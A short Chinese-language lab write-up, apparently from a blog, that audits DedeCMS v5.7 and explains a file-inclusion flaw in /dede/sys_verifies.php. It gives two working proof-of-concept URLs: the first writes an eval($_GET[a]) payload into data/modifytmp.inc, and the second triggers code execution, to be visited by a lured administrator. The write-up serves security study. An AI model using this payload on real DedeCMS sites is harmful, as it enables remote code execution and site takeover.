该靶场使用了 DedeCMS v5.7 ,所以将其源码下载,进行代码审计。
文件包含漏洞出现在 /dede/sys_verifies.php 文件中,来看代码:
image.png如上图,当请求参数action的值为"getfiles"时,程序会在 /data 目录下生成文件 modifytmp.inc 并写入内容,而写入的内容是我们可以控制的,可通过添加GET请求参数refiles来控制。
要想利用这个 modifytmp.inc 文件,还得在代码中找一处包含该文件的地方。而同一源码文件的下面就有,如下图:
于是,便可以构造poc 如下:
http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\%22;eval($_GET[a]);die();//
http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=down&a=phpinfo();
然后管理员先访问第一个链接,然后访问第二个链接,结果如下:
image.pngPS:因为 sys_verifies.php 的代码中,会有权限检查,如果不是管理员的话是不能执行下面的代码的,会直接返回登录页面或者提示没有权限。
网友评论